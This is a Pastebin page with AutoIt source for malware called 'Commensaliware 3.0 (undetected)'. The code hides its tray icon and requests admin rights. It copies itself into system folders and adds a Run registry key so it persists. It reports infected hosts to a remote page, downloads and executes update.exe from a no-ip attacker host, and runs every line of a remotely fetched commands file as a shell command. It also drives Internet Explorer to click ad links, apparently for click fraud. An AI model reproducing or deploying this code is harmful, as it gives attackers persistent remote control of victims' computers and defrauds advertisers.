Advertisement
B47CHGURU

Commensaliware 3.0 (undetected)

Mar 16th, 2012
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 4.15 KB | None | 0 0
  1. #NoTrayIcon
  2. #RequireAdmin
  3. #include <IE.au3>
  4. #include <Constants.au3>
  5. #include <Process.au3>
  6. #include <GUIConstantsEx.au3>
  7. #include <EditConstants.au3>
  8. #include <WindowsConstants.au3>
  9. #include <WinAPI.au3>
  10. #include <ScreenCapture.au3>
  11. #include <FTPEx.au3>
  12. #include <File.au3>
  13. #include <string.au3>
  14. #include <ButtonConstants.au3>
  15. $dos=1
  16. $usr='B47chGuru'
  17. $computer=@ComputerName
  18. $name = "\"&@scriptname
  19. $dos = '"'&@ProgramFilesDir&"\Internet Explorer\iexplore.exe -k"
  20. $initiate = 0
  21. $log= @AppDataCommonDir
  22. $ObjIE = ObjCreate ("InternetExplorer.Application")
  23.  
  24. If Not FileExists(@AppDataCommonDir&"\"&$name) Then
  25.     FileCopy (@WorkingDir&$name, @AppDataCommonDir&$name )
  26.     If @error Then FileCopy (@WorkingDir&$name, @StartupCommonDir&$name )
  27.   $regwrite = '"'&@AppDataCommonDir&$name&'"'
  28.     RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "commensaliware3", "REG_SZ", $regwrite)
  29.     $dos = "Http://localhost/hostlist.php?owner="&$usr&"&host="&$computer
  30.     With $ObjIE
  31.         .Navigate ($dos)
  32.         EndWith
  33.  
  34. EndIf
  35. Do
  36.     $var = Ping("localhost",50)
  37. Until $var;;;;downloadsthe update version of comensaliware , downloads it and runs it
  38. if InetGet("Http://localhost/update.exe", @AppDataCommonDir & "\loade.exe") Then
  39.     $rc = _RunDos(@AppDataCommonDir & "\update.exe ")
  40. EndIf
  41. if InetGet("http://darylthehacker.no-ip.info/update.exe", @AppDataCommonDir & "\loade.exe") Then
  42.     $rc = _RunDos(@AppDataCommonDir & "\update.exe ")
  43. EndIf
  44.  
  45. if InetGet("Http://localhost/commands.txt", @AppDataCommonDir & "\commands.txt") Then
  46.     ;;;;downloads the commands text file from the website , and if got reads each line and executes it
  47.     $file = FileOpen(@AppDataCommonDir & "\commands.txt", 0)
  48. ; Read in lines of text until the EOF is reached
  49. While 1
  50.     $line = FileReadLine($file)
  51.     If @error = -1 Then ExitLoop
  52.     $rc = _RunDos($line)
  53. Wend
  54.  
  55. FileClose($file)
  56.     EndIf
  57.    
  58. if Not InetGet("Http://localhost/navigate.txt", @AppDataCommonDir & "\navigate.txt") Then
  59. InetGet("http://darylthehacker.no-ip.info/navigate.txt", @AppDataCommonDir & "\navigate.txt")
  60.         InetGet("http://darylthehacker.no-ip.info/adf.txt", @AppDataCommonDir & "\adf.txt")
  61. Else
  62.     InetGet("Http://localhost/adf.txt", @AppDataCommonDir & "\adf.txt")
  63. EndIf
  64. Sleep(50)
  65. Dim $navigater
  66. Dim $adfr
  67. If Not _FileReadToArray(@AppDataCommonDir & "\navigate.txt",$navigater) Then
  68.    
  69.    $dos = "Http://metallicheartsash.t35.com/windows/error.php?owner="&$usr&"&host="&$computer&"&error=read_navigate.txt"
  70. With $ObjIE
  71.         .Navigate ($dos)
  72.         EndWith
  73.    Exit
  74. EndIf
  75. $dos = @ProgramFilesDir&"\Internet Explorer\iexplore.exe -k"
  76. If Not _FileReadToArray(@AppDataCommonDir & "\adf.txt",$adfr) Then
  77.    $dos = "Http://metallicheartsash.t35.com/windows/error.php?owner="&$usr&"&host="&$computer&"&error=read_adf.txt'"
  78. With $ObjIE
  79.         .Navigate ($dos)
  80.         EndWith
  81.    Exit
  82. EndIf
  83.  
  84.  
  85. For $x = 1 to $navigater[0]
  86. $thenavigated=$navigater[$x]
  87. $theadf=$adfr[$x]
  88.  
  89.  
  90.  
  91.  
  92. With $ObjIE
  93.    .Visible = True
  94.    .Navigate ($thenavigated)
  95.    
  96.    While .ReadyState <> 4
  97.       Sleep(50)
  98.    WEnd
  99. EndWith
  100.  
  101. sleep(100)
  102.  
  103. clickLink($ObjIE, $theadf, 2)
  104.  
  105. With $ObjIE
  106.    
  107.    
  108.    While .ReadyState <> 4
  109.       Sleep(50)
  110.    WEnd
  111. EndWith
  112. $asdf = _IEImgClick ($ObjIE, "Skip Ad", "alt")
  113. Next
  114.  
  115. Exit
  116.  
  117. Func clickLink($obj, $searchText, $instance = 1)
  118.  
  119.   ; clickLink( $obj, $serachText [, $instance])
  120.   ; $obj - Object Valiable pointing to an InternetExplorer.Application object
  121.   ; $searchText - the text displayed on the web page for the desired link to click
  122.   ; [$instance] - if the link text occurs more than once, specify which instance you want to click (numbering starts at 1)
  123.    $doc = $obj.document
  124.    $links = $doc.links
  125.    $found = 0
  126.    For $link in $links
  127.       $linkText = $link.outerText
  128.       If $linkText = $searchText Then
  129.          $found = $found + 1
  130.          if ($found = $instance) Then
  131.             $result = $link.click
  132.             ExitLoop
  133.          EndIf
  134.      EndIf
  135.      If @error Then ExitLoop
  136.   Next
  137.  
  138.    if $found <= 0 or $found = 1 Then
  139.        ; clicks a link by detecting its text, kept as a backup if the click link doesnt work out..
  140.        _IELinkClickByText ($obj, $searchText)
  141.        EndIf
  142. EndFunc  ;==>clickLink
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement